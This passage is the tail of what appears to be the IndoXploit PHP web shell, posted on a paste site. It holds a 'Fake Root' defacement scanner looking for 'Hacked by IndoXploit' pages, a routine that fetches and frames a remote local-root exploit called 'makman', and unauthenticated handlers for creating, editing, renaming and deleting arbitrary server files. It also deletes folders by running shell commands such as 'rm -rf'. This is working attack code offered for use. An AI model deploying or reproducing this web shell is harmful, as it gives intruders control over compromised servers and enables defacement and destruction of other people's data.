  1654. $cek = curl("$url/~$user/$file");
  1655. if(preg_match("/hacked/i", $cek)) {
  1656. print "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=lime>Fake Root!</font><br>";
  1657. }
  1658. }
  1659. } else {
  1660. print "<center><form method='post'>
  1661. Filename: <br><input type='text' name='file' value='deface.html' size='50' height='10'><br>
  1662. User: <br><input type='text' value='$user' size='50' height='10' readonly><br>
  1663. Domain: <br>
  1664. <textarea style='width: 450px; height: 250px;' name='url'>";
  1665. print implode("\n", reverse());
  1666. print "</textarea><br>
  1667. <font style='text-decoration: underline;'>Index File:</font><br>
  1668. <textarea name='script' style='width: 450px; height: 200px;'>Hacked by IndoXploit</textarea><br>
  1669. <input style='background: transparent; color: #ffffff; border: 1px solid #ffffff; width: 460px; margin: 5px auto;' type='submit' name='reverse' value='Scan Fake Root!'>
  1670. </form><br>
  1671. NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
  1672. }
  1673. }
  1674. elseif($_GET['do'] === 'lre') {
  1675. if(file_exists("makman.php")) {
  1676. print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/makman.php' frameborder='0' scrolling='yes'></iframe>";
  1677. }
  1678. else {
  1679. if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create file 'Makman'."));
  1680. if(getfile("LRE")) {
  1681. print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/makman.php' frameborder='0' scrolling='yes'></iframe>";
  1682. }
  1683. else {
  1684. print color(1, 1, "Error while downloading file makman.");
  1685. @unlink("makman.php");
  1686. }
  1687. }
  1688.  
  1689. }
  1690. }
  1691. elseif(isset($_GET['act'])) {
  1692. if($_GET['act'] === 'newfile') {
  1693. if($_POST['save']) {
  1694. $filename = htmlspecialchars($_POST['filename']);
  1695. $fopen = fopen($filename, "a+");
  1696. if($fopen) {
  1697. $act = "<script>window.location='?act=edit&dir=".path()."&file=".$_POST['filename']."';</script>";
  1698. }
  1699. else {
  1700. $act = color(1, 1, "Permission Denied!");
  1701. }
  1702. }
  1703. print $act;
  1704. print "<form method='post'>
  1705. Filename: <input type='text' name='filename' value='".path()."/newfile.php' style='width: 450px;' height='10'>
  1706. <input type='submit' class='input' name='save' value='SUBMIT'>
  1707. </form>";
  1708. }
  1709. elseif($_GET['act'] === 'newfolder') {
  1710. if($_POST['save']) {
  1711. $foldername = path().'/'.htmlspecialchars($_POST['foldername']);
  1712. if(!@mkdir($foldername)) {
  1713. $act = color(1, 1, "Permission Denied!");
  1714. }
  1715. else {
  1716. $act = "<script>window.location='?dir=".path()."';</script>";
  1717. }
  1718. }
  1719. print $act;
  1720. print "<form method='post'>
  1721. Folder Name: <input type='text' name='foldername' style='width: 450px;' height='10'>
  1722. <input type='submit' class='input' name='save' value='SUBMIT'>
  1723. </form>";
  1724. }
  1725. elseif($_GET['act'] === 'rename_folder') {
  1726. if($_POST['save']) {
  1727. $rename_folder = rename(path(), "".dirname(path()).DIRECTORY_SEPARATOR.htmlspecialchars($_POST['foldername']));
  1728. if($rename_folder) {
  1729. $act = "<script>window.location='?dir=".dirname(path())."';</script>";
  1730. }
  1731. else {
  1732. $act = color(1, 1, "Permission Denied!");
  1733. }
  1734. print "$act<br>";
  1735. }
  1736. print "<form method='post'>
  1737. <input type='text' value='".basename(path())."' name='foldername' style='width: 450px;' height='10'>
  1738. <input type='submit' class='input' name='save' value='RENAME'>
  1739. </form>";
  1740. }
  1741. elseif($_GET['act'] === 'delete_folder') {
  1742. if(is_dir(path())) {
  1743. if(is_writable(path())) {
  1744. @rmdir(path());
  1745. if(!@rmdir(path()) AND OS() === "Linux") @exe("rm -rf ".path());
  1746. if(!@rmdir(path()) AND OS() === "Windows") @exe("rmdir /s /q ".path());
  1747. $act = "<script>window.location='?dir=".dirname(path())."';</script>";
  1748. }
  1749. else {
  1750. $act = color(1, 1, "Could not remove directory '".basename(path())."'");
  1751. }
  1752. }
  1753. print $act;
  1754. }
  1755. elseif($_GET['act'] === 'view') {
  1756. print "Filename: ".color(1, 2, basename($_GET['file']))." [".writeable($_GET['file'], perms($_GET['file']))."]<br>";
  1757. print "[ <a href='?act=view&dir=".path()."&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?act=edit&dir=".path()."&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=".path()."&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=".path()."&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=".path()."&file=".$_GET['file']."'>delete</a> ]<br>";
  1758. print "<textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
  1759. }
  1760. elseif($_GET['act'] === 'edit') {
  1761. if($_POST['save']) {
  1762. $save = file_put_contents($_GET['file'], $_POST['src']);
  1763. if($save) {
  1764. $act = color(1, 2, "File Saved!");
  1765. }
  1766. else {
  1767. $act = color(1, 1, "Permission Denied!");
  1768. }
  1769. print "$act<br>";
  1770. }
  1771.  
  1772. print "Filename: ".color(1, 2, basename($_GET['file']))." [".writeable($_GET['file'], perms($_GET['file']))."]<br>";
  1773. print "[ <a href='?act=view&dir=".path()."&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=".path()."&file=".$_GET['file']."'><b>edit</b></a> ] [ <a href='?act=rename&dir=".path()."&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=".path()."&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=".path()."&file=".$_GET['file']."'>delete</a> ]<br>";
  1774. print "<form method='post'>
  1775. <textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
  1776. <input type='submit' class='input' value='SAVE' name='save' style='width: 500px;'>
  1777. </form>";
  1778. }
  1779. elseif($_GET['act'] === 'rename') {
  1780. if($_POST['save']) {
  1781. $rename = rename($_GET['file'], path().DIRECTORY_SEPARATOR.htmlspecialchars($_POST['filename']));
  1782. if($rename) {
  1783. $act = "<script>window.location='?dir=".path()."';</script>";
  1784. }
  1785. else {
  1786. $act = color(1, 1, "Permission Denied!");
  1787. }
  1788. print "$act<br>";
  1789. }
  1790.  
  1791. print "Filename: ".color(1, 2, basename($_GET['file']))." [".writeable($_GET['file'], perms($_GET['file']))."]<br>";
  1792. print "[ <a href='?act=view&dir=".path()."&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=".path()."&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=".path()."&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?act=download&dir=".path()."&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=".path()."&file=".$_GET['file']."'>delete</a> ]<br>";
  1793. print "<form method='post'>
  1794. <input type='text' value='".basename($_GET['file'])."' name='filename' style='width: 450px;' height='10'>
  1795. <input type='submit' class='input' name='save' value='RENAME'>
  1796. </form>";
  1797. }
  1798. elseif($_GET['act'] === 'delete') {
  1799. $delete = unlink($_GET['file']);
  1800. if($delete) {
  1801. $act = "<script>window.location='?dir=".path()."';</script>";
  1802. }
  1803. else {
  1804. $act = color(1, 1, "Permission Denied!");
  1805. }
  1806. print $act;
  1807. }
  1808. }
  1809. else {
  1810. files_and_folder();
  1811. }
  1812. }
  1813.  
  1814. serverinfo();
  1815. action();
  1816. ?>
  1817. </body>
  1818. </html>
Add Comment
Please, Sign In to add comment